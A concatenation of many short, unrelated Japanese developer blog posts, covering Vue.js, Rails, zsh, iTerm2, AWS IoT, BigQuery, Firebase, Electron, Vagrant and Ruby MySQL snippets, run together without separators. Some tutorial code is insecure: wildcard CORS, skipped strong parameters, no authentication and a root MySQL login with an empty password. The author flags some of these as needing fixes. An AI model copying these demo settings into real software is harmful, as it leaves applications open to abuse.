[5.Vue.jsで猫検索アプリ作成](http://qiita.com/MariMurotani/items/86a4b267489df3b83c61)
[6.おまけ](https://qiita.com/MariMurotani/items/3496e461e8f4f5545ff2)

-----

# 0. 事前準備
ソース・ファイルのチェックアウト
https://github.com/MariMurotani/my-project.git
ブランチを07_materialize_integrationに切り替えます。

# 1. [Materialize CSS](http://materializecss.com/)のと[Jquery](https://code.jquery.com/)インテグレーション
今回はCDNを使って、html内に直接ロードします。

```html:index.html
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.98.0/css/materialize.min.css">
<script
      src="https://code.jquery.com/jquery-3.2.1.min.js"
      integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
      crossorigin="anonymous"></script>
```
# 2.画像表示用の単一ファイルコンポーネント作成

## 2.1 データの設定
まずは、jsonデータをexport defaultのdata()内に設定します。

```
  data () {
    return {
      items: [
        {title: '猫1', comment: 'すき', image: '/static/images1.jpeg', like: true},
        {title: '猫2', comment: 'ラブ', image: '/static/images2.jpeg', like: false},
        {title: '猫2', comment: 'ラブ', image: '/static/images3.jpeg', like: true},
        {title: '猫1', comment: 'すき', image: '/static/images4.jpeg', like: false},
        {title: '猫2', comment: 'ラブ', image: '/static/images5.jpeg', like: false},
        {title: '猫2', comment: 'ラブ', image: '/static/images6.jpeg', like: false}
      ]
    }
  }
```

## 2.2 [v-for](https://jp.vuejs.org/v2/guide/list.html#%E3%83%86%E3%83%B3%E3%83%97%E3%83%AC%E3%83%BC%E3%83%88%E3%81%A7%E3%81%AE-v-for)構文を使ってitemsをループで回しましょう。
v-forの中で,先程設定したitem,indexが参照できるようになります。

```html
<div class="float_image" v-for="(item, index) in items">
........
</div>
```

## 2.3 [v-bind](https://jp.vuejs.org/v2/api/#v-bind)を使ってclassの出し分けをします。
item.likeがtrueのときは、class="heart",item.likeがfalseのときは、class="heart_disable"になります。
[v-n:click]()をつかってクリックイベントにlikeメソッドを指定しましょう。

```
<div :class="{ heart: item.like , heart_disable: !item.like }" v-on:click="like(index, $event)"></div>
```

## 2.4 likeイベントの実装
methodsの中に、likeメソッドを作成しましょう。
**this.items[index].like = !this.items[index].like**
でデータのON/OFFを切り替えます。
データ更新を受取り、domが再描画され、ハートの色が灰色←→ピンクに変わっていきます。

```
 methods: {
    like: function (index, event) {
      this.items[index].like = !this.items[index].like
      this.send(index, this.items[index].like)
    },
    send: function (index, boolean) {
      //  send ajax request to add like!
    }
  }
```


# 3. Scene2に2で作成したコンポーネントを追加する
```html:src/components/Scene2.vue
<image-panel-container class="image_panel"></image-panel-container>
```


![output_CQpfok.gif](https://qiita-image-store.s3.amazonaws.com/0/89997/4d8526bc-46fd-d647-65d5-b2f243d22fe1.gif)
zsh で履歴ファイルにコマンド履歴を手動で追加する方法

http://bolyai.cs.elte.hu/zsh-manual/zsh_17.html

> fc [ -e ename ] [ -nlrdDfEim ] [ old=new ... ] [ first [ last ]]
fc -ARWI [ filename ]
Select a range of commands from first to last from the history list. The arguments first and last may be specified as a number or as a string. A negative number is used as an offset to the current history event number. A string specifies the most recent event beginning with the given string. All substitutions old=new, if any, are then performed on the commands. If the `-l' flag is given, the resulting commands are listed on standard output. If the `-m' flag is also given the first argument is taken as a pattern (which should be quoted), and only the history events matching this pattern will be shown. Otherwise the editor program ename is invoked on a file containing these history events. If ename is not given, the value of the parameter FCEDIT is used. If ename is -, no editor is invoked. When editing is complete, the edited command(s) is executed. If first is not specified, it will be set to -1 (the most recent event), or to -16 if the `-l' flag is given. If last is not specified, it will be set to first, or to -1 if the `-l' flag is given. The flag `-r' reverses the order of the commands and the flag `-n' suppresses command numbers when listing. Also when listing, `-d' prints timestamps for each command, `-f' prints full time and date stamps. Adding the `-E' flag causes the dates to be printed as (dd.mm.yyyy), instead of the default, mm/dd/yyyy. Adding the `-i' flag causes the dates to be printed as yyyy-mm-dd, in a fixed format. With the `-D' flag, fc prints elapsed times. fc -R reads the history from the given file, fc -W writes the history out to the given file, and fc -A appends the history out to the given file. fc -AI (WI) appends (writes) only those events that are new since the last incremental append (write) to the history file. In any case the file will have no more than SAVEHIST entries.

```shell-session
fc -A
```

で可能そうだった
gitの基礎を学ぼう！rails newコマンドの後に、git initそしたらgit addの前に.gitignoreファイルを先に編集しよう！

## １.Rails new をしたら、$git initコマンドを。
私の場合、Railsで主に開発をしているのですが、

よく使用するバージョンはRails 4.2.6です。

特に理由はございませんが、

Railsを学ばさせて頂いたプログラミングスクールでは大きな課題が３つあり、

Rails newコマンドでバージョンを指定しないで立ち上げたら、

当時が4.2.6が最新だったためです。

Rails newをしたら、$git initコマンドを。

ただ学ぶうちに、MacBook本体のRailsのアップグーレードをしてしまい、

Rails５で課題を挑戦した時、まだ情報が少なく困りはててしまったことが多々あり、

今では、もう少しだけ4.2.6で開発を試みています。

 

さて,私の場合、$rails _4.2.6_ new　アプリ名　-d postgresql　で立上げた後、
gitでアプリを管理し始めます。

 

ターミナルでgitを管理し始めますよという下記のコマンドします。

開発したいディレクト下にいるかを確認してから下記のコマンドを。

$git init 
Initialized empty Git repository in 〜って表示されたら、
ともかくそのプロジェクトファイルはgitの対象になりました！ということになります。


<h2>２.git initコマンドをした後は、まず.gitignoreファイルをすぐさま編集しましょう！ </h2>

$git Statusでどのファイルがステージングされていないかを確認。 

$git add -Aで、今あるファイル下を全て選択。
※-Aオプションはファイル全てを選択して便利だが、
時と場合によっては、あまりオススメしません。
コミットする時にコミット名が、

その時にコミットするファイルに同じファイル名を与えてしまうからです。

$git statusの時に、コミットしたくないファイルを確認きます。
$git addの前に必ずstatusを確認しましょう。
実はこの時に、デフォルトのままですと、不必要なファイル、
及び重要なファイルまで載っているファイルまでgitの対象になっています。

ここでオススメしたいのは、

.gitignoreファイルの編集です。

私はRailsでアプリを作るときに、rails newで立上げたらすぐに

.gitignoreファイルを下記のように編集致します。


```text:.gitignore
# TODO Comment out these rules if you are OK with secrets being uploaded to the repo
#config/initializers/secret_token.rb
#config/secrets.yml

# dotenv
# TODO Comment out this rule if environment variables can be committed
.env

## Environment normalization:
/.bundle
/vendor/bundle

# these should all be checked in to normalize the environment:
# Gemfile.lock, .ruby-version, .ruby-gemset

# unless supporting rvm < 1.11.0 or doing something fancy, ignore this:
.rvmrc

# if using bower-rails ignore default bower_components path bower.json files
/vendor/assets/bower_components
*.bowerrc
bower.json

# Ignore pow environment settings
.powenv

# Ignore Byebug command history file.
.byebug_history
```

さて、なぜ上記のように記載が必要かの詳しくは割愛させて頂きますが、簡単に説明致しますと、

デフォルトままで編集し始めると、コミットしなくともいいファイルやその内容まで、

コミットし、pushした時に重くなってしまい、場合によっては重すぎて、

pushできないと怒られるてしまいます。

そうです。私はそこでどハマりしてしまいました。

苦い経験でした。

 

rails new コマンドの後に

①$git init 

↓

②$git satatus　でどのファイルがステージングされているかのステータス確認、

↓

③$git add (オプションでファイルを複数選択可能）でステージに上げて、

↓

④$git commit -m "メッセージ入力"　

の順でコミットすると思いますが、



③$git addの前で.gitignoreファイルで編集しましょう。

 <h1>こちらに関して、ブログで取りまとめてます!</h1>
参考にして頂けたら幸いです。
http://www.papa-programing.jp/entry/git-gitignore
初心者向け iTerm2のインストール方法


## 概要
プログラミングを始めて使い始めるのが、ターミナルです。

しかしながら、ターミナルよりも見た目的にも使いやすさ的にも優れたツールがあります。

それが、「iTerm2」です。

ここでは、初心者向けにインストール方法を紹介します。

## 手順
- まずは以下のサイトにアクセスしてください。

### [iTerm2](https://www.iterm2.com/)

![スクリーンショット 2017-04-07 22.53.52.png](https://qiita-image-store.s3.amazonaws.com/0/142810/c0121ef4-7e18-66a6-d09c-ee63e483a366.png "スクリーンショット 2017-04-07 22.53.52.png")

- 画面下に「Download」があるのでクリックしてください。

![スクリーンショット 2017-04-07 22.54.51.png](https://qiita-image-store.s3.amazonaws.com/0/142810/d850ad0c-5567-fc97-7cd5-78b676475299.png "スクリーンショット 2017-04-07 22.54.51.png")

- ダウンロードできたら、zipファイルをクリックして展開します。
- iTerm2を開きます。

![スクリーンショット 2017-04-07 23.01.24.png](https://qiita-image-store.s3.amazonaws.com/0/142810/1d66e0c1-88fb-d7df-772f-6e407528b3c7.png "スクリーンショット 2017-04-07 23.01.24.png")

- 「開く」をクリックします。

![スクリーンショット 2017-04-07 22.56.17.png](https://qiita-image-store.s3.amazonaws.com/0/142810/ef0b7ee9-6ee0-b5ae-a456-eaf53534e819.png "スクリーンショット 2017-04-07 22.56.17.png")

- 「Move to Applications Folder」をクリックします。

![スクリーンショット 2017-04-07 22.56.30.png](https://qiita-image-store.s3.amazonaws.com/0/142810/62f283b2-9718-14fd-f626-cb7b5fe13f5a.png "スクリーンショット 2017-04-07 22.56.30.png")

- 「Check Automatically」をクリックします。

![スクリーンショット 2017-04-07 22.56.44.png](https://qiita-image-store.s3.amazonaws.com/0/142810/279ca7e8-1bd0-5ba0-58c5-321e1c83f229.png "スクリーンショット 2017-04-07 22.56.44.png")

- 以下の画面が開きますが、閉じて大丈夫です。

![スクリーンショット 2017-04-07 22.57.17.png](https://qiita-image-store.s3.amazonaws.com/0/142810/26a765b4-b990-88b9-590a-3ab4c19bd92d.png "スクリーンショット 2017-04-07 22.57.17.png")

- そして、もう一つ以下の画面が立ち上がっています。
- これがiTerm2です。

![スクリーンショット 2017-04-07 23.08.16.png](https://qiita-image-store.s3.amazonaws.com/0/142810/9892c9e7-17bd-9476-208c-731023377368.png "スクリーンショット 2017-04-07 23.08.16.png")

- これでインストールの完了です。
RailsのAPIモードとReact.jsチュートリアルを連携してみた。

# 概要

Rails（APIモード）を利用してJSONを書き出すAPIサーバを準備し、[React-tutorial](https://github.com/reactjs/react-tutorial)と連携をしてみる。

### 動作環境
macOS Sierra
npm 4.0.5
Ruby 2.3.3
Rails 5.0.2

# Railsの設定（APIサーバの準備）
## プロジェクト作成 ＆ scaffold

```bash
$ rails new react-api --api && cd react-api
$ rails g scaffold comment author:string text:text
$ rails db:migrate
```
（DBはSQLiteを使用）

## seedファイル作成

```rb:db/seed.rb
Comment.delete_all
Comment.create!([
  { author: 'サンプル１', text: 'sample01 book' },
  { author: 'サンプル２', text: 'sample02 note' },
  { author: 'サンプル３', text: 'sample03 ofuda' },
])
```

```bash
$ rails db:seed
```

## Header情報の設定。

別ドメインのクライアントからJsonを取得可能にするためのHeader情報を設定する。

Gemfileにイカ

```:Gemfile
gem 'rack-cors', :require => 'rack/cors'
```

```bash
$ bundle
```


```rb:config/application.rb
module RailsApi
  class Application < Rails::Application
    # Settings in config/environments/* take precedence over those specified here.
    # Application configuration should go into files in config/initializers
    # -- all .rb files in that directory are automatically loaded.

    # Only loads a smaller set of middleware suitable for API only apps.
    # Middleware like session, flash, cookies can be added back manually.
    # Skip views, helpers and assets when generating a new resource.
    config.api_only = true

    # 以下追記
    config.middleware.insert_before ActionDispatch::Static, Rack::Cors do
      allow do
        origins '*'
        resource '*', :headers => :any, :methods => [:get, :post, :delete]
      end
    end

  end
end
```

## Reactから送られてくるデータの処理を追加する。

`/comments` への postデータは `comments#create` で処理をするように設定する。

```rb:config/routes.rb
post '/comments', to: 'comments#create'
```

1. 受け取ったデータから登録ができるように処理を追加する。
1. Reactのサンプルに合わせて、返り値の値を単体から複数に変更。

```rb:app/controllers/comments_controller.rb
def create
  @comment = Comment.new(author: params[:author], text: params[:text])
  if @comment.save
    comments = Comment.all
    render json: comments, status: :created, location: @comment
  else
    render json: @comment.errors, status: :unprocessable_entity
  end
end
```

**注）Strong Parametersをスキップしてるので、修正が必要。**


## サーバ起動

```bash
$ rails s -p 3001
```

**注）運用する場合には認証設定が必要です。**

# フロント設定（Reactチュートリアル）

## React チュートリアルのサンプルファイルのダウンロード

```bash
$ git clone https://github.com/reactjs/react-tutorial.git
$ cd react-tutorial
$ npm install
```

## URLの修正

```js
ReactDOM.render(
  <CommentBox url="http://localhost:3001/comments" pollInterval={2000} />,
  document.getElementById('content')
);
```

## フロントサーバ起動

```bash
$ ruby server.rb
```

あとは、` http://localhost:3000 ` へアクセスする。
AWS IoT を まずは試してみる


#### 1. Connect > Configuring a device > Get started を選択

![スクリーンショット 2017-04-08 13.21.20.png](https://qiita-image-store.s3.amazonaws.com/0/4906/40bf2efc-907a-042d-926c-cdf8b44415b2.png "スクリーンショット 2017-04-08 13.21.20.png")

#### 2. プラットフォームを選択

ここでは OSX と Node.js を選択

![スクリーンショット 2017-04-08 13.14.41.png](https://qiita-image-store.s3.amazonaws.com/0/4906/60b8be3f-603b-06c8-4559-82616c9df8c8.png "スクリーンショット 2017-04-08 13.14.41.png")

#### 3. 手順が表示される

内容を読んだら Get stated

![スクリーンショット 2017-04-08 13.14.49.png](https://qiita-image-store.s3.amazonaws.com/0/4906/750ff7ec-eb5b-aee4-cb00-c7743cd0eb35.png "スクリーンショット 2017-04-08 13.14.49.png")

#### 4. デバイス名を登録

好きなデバイス名を入れて Next Step へ

![スクリーンショット 2017-04-08 13.15.02.png](https://qiita-image-store.s3.amazonaws.com/0/4906/9de90541-0a63-5452-9d4c-51f578c6ef16.png "スクリーンショット 2017-04-08 13.15.02.png")

#### 5. Connection kit のダウンロード

Thingの登録 / ポリシーの作成 / 各種証明書の発行 
が自動で行われます。

NodeJS のプロジェクトが一括でダウンロードできる

![スクリーンショット 2017-04-08 13.15.11.png](https://qiita-image-store.s3.amazonaws.com/0/4906/4adcbf88-c487-24df-445c-b3577f45f808.png "スクリーンショット 2017-04-08 13.15.11.png")

#### 6. 起動方法が表示されるので start.sh を実行

![スクリーンショット 2017-04-08 13.15.22.png](https://qiita-image-store.s3.amazonaws.com/0/4906/7f828e63-4b29-c151-a597-d2a18da068b0.png "スクリーンショット 2017-04-08 13.15.22.png")

#### 7.
Google BigQuery (オライリー本）で出てくるauth.py



# はじめに
オライリー本に出てくる`auth.py`が古くて実行できなかったので、最新版に書き直してみた。


2017年４月８日(土)動作確認済み

```auth.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import httplib2
import json
from apiclient import discovery
from oauth2client.service_account import ServiceAccountCredentials

BIGQUERY_SCOPE = 'https://www.googleapis.com/auth/bigquery'
# 以下の値は自分のサービスアカウント用の秘密鍵のファイルへフルパスにすること
KEY_FILE = '<自分のサービスアカウント用の秘密鍵名>.json'

def get_oauth_creds():

    # ユーザークレデンシャルの生成。
    credentials = ServiceAccountCredentials.from_json_keyfile_name(
    	KEY_FILE, 
    	BIGQUERY_SCOPE
    )
    # 最新のクレデンシャルに更新。
    credentials.refresh(httplib2.Http())
    return credentials


def print_creds(credentials):
    '''HTTPリクエスト中で使用する許可ヘッダを出力する。'''
    cred_dict = json.loads(credentials.to_json())
    if 'access_token' in cred_dict:
        print 'Authorization: Bearer %s' % (cred_dict['access_token'],)
    else:
        print 'creds: %s' % (cred_dict,)


def main():
    print_creds(get_oauth_creds())

if __name__ == "__main__":
    main()

```

# 参考

- [[Python] Google各種サービスのAPIの認証方法（v.2）](http://www.yoheim.net/blog.php?q=20160401)
- [はじめてのアナリティクス API: サービス アカウント向け Python クイック スタート](https://developers.google.com/analytics/devguides/config/mgmt/v3/quickstart/service-py?hl=ja#enable)
認証プロバイダで認証ページへリダイレクトされないときは[BitScheduler開発日誌]

BitScheduler開発日誌、4回目です。
今回はFirebaseの認証プロバイダを使う際の注意点の共有です。

BitSchedulerはGoogleカレンダーと連携するサービスなので、利用にはGoogleアカウントが必須です。
FirebaseではGoogle認証も提供されているので、今回はそれを使おうと[開発者ガイド](https://firebase.google.com/docs/auth/web/google-signin)に沿って実装したのですが、ハマりました。(TT)

# 現象
認証プロバイダの下記該当コードが実行されても認証画面にリダイレクトされない。

```js:Google認証プロバイダを使う場合
var provider = new firebase.auth.GoogleAuthProvider();
firebase.auth().signInWithRedirect(provider);
```

# ボクがハマった原因
buttonタグのtype属性が"submit"だった。buttonタグを使う場合は **"button" 属性**にしましょう。

```js:間違い
<button type="submit" class="btn btn-success bs-login">Sign in</button>
```

```js:正解
<button type="button" class="btn btn-success bs-login">Sign in</button>
```

他のログインフォームをコピーした名残で盲点でした。みなさんお気をつけくださいませ。

## BitSchedulerとは
開発中の出欠投稿サービスです。Googleカレンダーと連携することで簡単に管理、運用できることを目指しています。
ぜひ「いいね」して応援してください！

[BitSchedulerランディングページ](https://bitscheduler-fb66d.firebaseapp.com/)
Android Things Developer Preview 3 リリース！

[Android Things Developer Preview 3](https://developer.android.com/things/preview/releases.html#developer_preview_3)がリリースされました。

> Previewリリースは先行開発者向けで、実装予定のAPIがすべて対応されているわけではありません。対応ボードや対応機能は今後も継続して追加されていくでしょう。

Preview 2に対して以下が追加対応されています。

## NXP Argon i.MX6UL 対応

[対応ボード](https://developer.android.com/things/hardware/developer-kits.html)が追加対応されました。Picoとは開発元が異なる同等スペックのSOMのようです。

## Bluetooth API 対応

Androidの[Bluetooth](https://developer.android.com/guide/topics/connectivity/bluetooth.html) APIに対応しました。クラッシク、BLEとも対応しています。[Bluetooth Audio](https://github.com/androidthings/sample-bluetooth-audio)サンプルでは、接続した音楽プレイヤーの再生を、
[Bluetooth GATT Server](https://github.com/androidthings/sample-bluetooth-le-gattserver)サンプルでは、BluetoothGattServerとしてクライアントのAndroid端末に時刻の配信をしています。

## USB Host対応

Androidの[USB Host](https://developer.android.com/guide/topics/connectivity/usb/host.html)モードに対応しました。[USB Enumerator](https://github.com/androidthings/sample-usbenum)サンプルでは、接続されたUSBデバイスを一覧表示しています。

## USBシリアルデバイスへのアクセス対応

USBシリアルデバイスがUARTデバイスとして認識されるようになりました。[getUartDeviceList()](https://developer.android.com/things/reference/com/google/android/things/pio/PeripheralManagerService.html#getUartDeviceList())で取得可能です。

## APIリファレンスのオンライン化

機能追加ではありませんが、いままでZIPで公開していたAPIレファレンスがWEBで参照できるようになりました。
https://developer.android.com/things/reference/index.html
Electronでシンプルな音楽プレイヤーを作ってみた

# はじめに
ふと、選択したディレクトリ内のmp3ファイルを再生する音楽プレイヤーが欲しいなと思ったので作りました。
名前は、「兎亜」です。

![toa.png](https://qiita-image-store.s3.amazonaws.com/0/77608/80fd83cc-65a7-35c5-60ee-2a69dc49ce65.png)

ウィンドウサイズも小さくして、デスクトップでの作業の邪魔にならないようにしました。

<img width="1440" alt="desktop.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/9606ba0f-0fbb-6b21-5ee2-13b0dd0ba3bd.png">

## 内容
コンポーネントの部分は、Riot使ってます。
なんとなく使ってるので、使い方合ってるのかよくわかんないです。

曲の再生部分は、Web Audio APIを使わず、

```javascript:demo.js
let sample = new Audio() 
sample.src = 'demo.mp3'
```

のような感じで普通のAudio使ってます。

## 動作
Twitterにデモ動画をツイートしているのでそちらを。

<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr">シンプルな音楽プレイヤーが欲しかったのでElectronで作りました。<br>選択したディレクトリのmp3ファイルを再生します。<br>名前は、「兎亜」です。<br><br>GitHub: <a href="https://t.co/v1yjAcp1uN">https://t.co/v1yjAcp1uN</a><br>Download: <a href="https://t.co/J1s30RmECq">https://t.co/J1s30RmECq</a> <a href="https://t.co/pTkr51xpSP">pic.twitter.com/pTkr51xpSP</a></p>&mdash; yuki540 (@eriri_jp) <a href="https://twitter.com/eriri_jp/status/850557992990687232">2017年4月8日</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

## ダウンロード
「兎亜」を使いたい場合は、
[https://github.com/yuki540net/toa/releases/tag/v0.0.1](https://github.com/yuki540net/toa/releases/tag/v0.0.1)
で自身のOSにあったものをダウンロードしてください。

Mac/Windows/Linuxに対応しています。

## 使い方
まず、「兎亜」を起動してください。

<img width="956" alt="ready.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/913bcdc3-45a4-89f0-e1d7-d3ee23108302.png">


### ディレクトリを選択
検索のアイコンのボタンを押すと、

<img width="844" alt="open_1.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/b307bf58-fef3-6a4d-d860-fd3838d65f5f.png">

ディレクトリの選択画面が出るので、mp3ファイルの入ったディレクトリを選択してください。

<img width="843" alt="open_2.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/36a47440-d116-0522-b34a-c930dc3d95ee.png">

すると、ディレクトリの音楽が操作可能になります。

### 再生位置の移動
シークバーを移動させると、再生位置が調整できます。

<img width="843" alt="seek.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/98f227c8-bbd4-f9c5-7827-f12e31b7b29e.png">


### リピート
曲名の左のアイコンを押すと、全曲リピートと一曲リピートに切り替えられます。

<img width="839" alt="repeat.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/e723a317-9dda-27e2-73c9-f0c6cb46e6a0.png">


### 曲のスキップ
再生ボタンの左のアイコンを押すと、前の曲に戻ります。

<img width="843" alt="back.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/e115ea46-a9d8-22d5-21c0-686986bc5990.png">


再生ボタンの右のアイコンを押すと、次の曲に進みます。

<img width="843" alt="forward.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/fb0496b3-09cf-848f-90c5-ed365ff8a1ad.png">


### 曲の選択
リストのようなアイコンを押すと、

<img width="845" alt="playlist_1.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/d97ccda7-787c-54ca-329b-a760d3d7491c.png">


曲の一覧に移動します。
変更したい曲のチェックボックスを押すと、曲を変更することができます。

<img width="842" alt="playlist_2.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/e95596c0-be93-9ffa-abbf-17e56e87f7a8.png">


## さいごに
ちょこちょこバグりそうなので、空いた時間に修正していきます。
よければ、GitHubのStarください。

GitHub: [https://github.com/yuki540net/toa](https://github.com/yuki540net/toa)
Twitter: [https://twitter.com/eriri_jp](https://twitter.com/eriri_jp)
vagrant で centos7 を起動して閉じた環境で構成管理できるようにしたい

# 動機
ローカルマシンで開発環境を構築してマネージメントサーバから開発マシーンの設定を管理できると同じ構成を
「開発環境」->「確認環境」->「本番環境」と同じことを繰り返せるのではとおもいまずは環境を作成できるようになりたい

#前提
vagrant コマンド自体は簡単なことしかしていないので、box の追加などは前提として行っているとします

# やりたいこと
## Vagrantfile で複数のゲスト OS を起動したい
### Vagrantfile 作成

```ruby:Vagrantfile
Vagrant.configure(2) do |config|
  config.vm.box = "centos7"
  config.vm.define "mg" do |mg|
    mg.vm.network :forwarded_port, id: "ssh", guest: 22, host: 2222
    mg.vm.network :private_network, ip: "192.168.33.10", virtualbox__intnet: "intnet"
  end
  config.vm.define "web" do |web|
    web.vm.network :forwarded_port, id: "ssh", guest: 22, host: 2223
    web.vm.network :private_network, ip: "192.168.33.20", virtualbox__intnet: "intnet"
  end
end
```
[上記 Vagrantfile は github へ一応反映しています](https://github.com/nodokaodayaka/vagrant)

### 仮想マシン起動
$ `vagrant up`
  
### 仮想マシンに　ssh 接続確認
#### mg -> web 接続確認
$ `vagrant ssh mg`
$ `ssh vagrant@192.168.33.20`

#### web -> mg 接続確認
$ `vagrant ssh web`
$ `ssh vagrant@192.168.33.10`

これで一旦、mg(management server) -> web へ構成を反映できそうな環境作成にちかずいたかなと・・・
※次回はこの環境を使い、web で samba を設定させて、ホストとファイル共有したいと思います。
RubyでmysqlのデータをCSV出力する

mysqlに保存されているデータをCSVで出力する方法。
スクレイピングし終わったデータをCSVで出したいときなどに使ってます。

```
require 'csv'

res = client.query('select * from t_name')

csv_string = CSV.generate(:force_quotes => true) do |csv|
  csv << ['col1', 'col2'] #CSVの一行目のカラム名を書きます

  res.each do |row|

    csv << [
      row['col1'],
      row['col2']
    ]
  end
end

File.open('file_name.csv', "w", encoding: "SJIS", undef: :replace) do |file|
  file.write(csv_string)
end

```
見積もりの重要性

某トークイベントに参加したときのスライドをslideshareにアップしました。

https://www.slideshare.net/MasashiNamba/ss-74682980
![IMG_0156.JPG](https://qiita-image-store.s3.amazonaws.com/0/23404/b1f2688a-916a-b32c-b25e-14ae8f716b8b.jpeg)

見積もりって大事だよねーって感じのゆるーい資料です。

![IMG_0127.JPG](https://qiita-image-store.s3.amazonaws.com/0/23404/a7a6145f-01bf-d411-3bbb-6e78cc572e7b.jpeg)

しばらく活動できていなかったので、週１くらいでアップできればなーと思っています。
「オブジェクト指向設計実践ガイド」3行まとめ

# 読んだ本
[オブジェクト指向設計実践ガイド](https://www.amazon.co.jp/%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E6%8C%87%E5%90%91%E8%A8%AD%E8%A8%88%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-~Ruby%E3%81%A7%E3%82%8F%E3%81%8B%E3%82%8B-%E9%80%B2%E5%8C%96%E3%81%97%E3%81%A4%E3%81%A5%E3%81%91%E3%82%8B%E6%9F%94%E8%BB%9F%E3%81%AA%E3%82%A2%E3%83%97%E3%83%AA%E3%82%B1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%81%AE%E8%82%B2%E3%81%A6%E6%96%B9-Sandi-Metz/dp/477418361X/ref=sr_1_1?s=books&ie=UTF8&qid=1491620019&sr=1-1&keywords=%E3%82%AA%E3%83%96%E3%82%B8%E3%82%A7%E3%82%AF%E3%83%88%E6%8C%87%E5%90%91%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89)

## ３行まとめ
- 単一責任の原則を意識して疎結合にすること
- 継承と委譲を使い分けること
- 依存方向を見極めること
自作Python - sprintというprintの上位版

ターミナル上のprint()がしょぼいと思って作った

無名関数 sprint

```py3
sprint = lambda x:print("-"*30+"\n"+x+"\n"+"-"*30)
```

Super Print = sprint（全速力で走る）ということでも合理的な名前だと思う。

## 使い方

```py3
-> sprint("Hello, world!")

------------------------------
Hello, world!
------------------------------
```


以上、つまらん投稿すいませんでした。
Rubyでmysqlに接続する

Rubyでmysqlにデータを読み書きする方法。
RubyでスクレイピングしたデータをDBに書き込みたいときなどに使えます。

```
require 'mysql2'

client = Mysql2::Client.new(host: 'localhost', username: 'root', password: '', database: 'db_name')
client.query("SQL文")
```
「リーダブルコード」３行まとめ

# 読んだ本

[リーダブルコード](https://www.amazon.co.jp/%E3%83%AA%E3%83%BC%E3%83%80%E3%83%96%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89-%E3%82%88%E3%82%8A%E8%89%AF%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%82%92%E6%9B%B8%E3%81%8F%E3%81%9F%E3%82%81%E3%81%AE%E3%82%B7%E3%83%B3%E3%83%97%E3%83%AB%E3%81%A7%E5%AE%9F%E8%B7%B5%E7%9A%84%E3%81%AA%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF-Theory-practice-Boswell/dp/4873115655/ref=sr_1_1?s=books&ie=UTF8&qid=1491619527&sr=1-1&keywords=%E3%83%AA%E3%83%BC%E3%83%80%E3%83%96%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89)

## ３行まとめ
- コードは他の人が最短時間で理解できるように書かなければいけない
- 過剰な機能は持たせない
- コメントは「なぜ」このようにしたのかを書く必要がある場合の補足
npm install xxx -saveした時のコマンドの動かし方

globalにインストールしたくない場合のコマンドの動かし方。


下のようにインストールした場合
npm init 
npm install typescript --save
```

これでも動く
```
./node_modules/typescript/bin/tsc -v(バージョン確認)
```

けれど、

##npm run コマンド
下のようにpackage.jsonに書いて、runコマンドを使うと、```npm run tsc```で実行できてしまう。

``` package.json
{
  "name": "test",
  "version": "1.0.0",
  "description": "test",
  "main": "index.js",
  "directories": {
    "test": "tests"
  },
  "scripts": {
    "tsc": "tsc"
  },
  "author": "naoki",
  "license": "MIT",
  "devDependencies": {
  }
}
```

参考
http://qiita.com/Mic-U/items/cd456d6bea72937464f8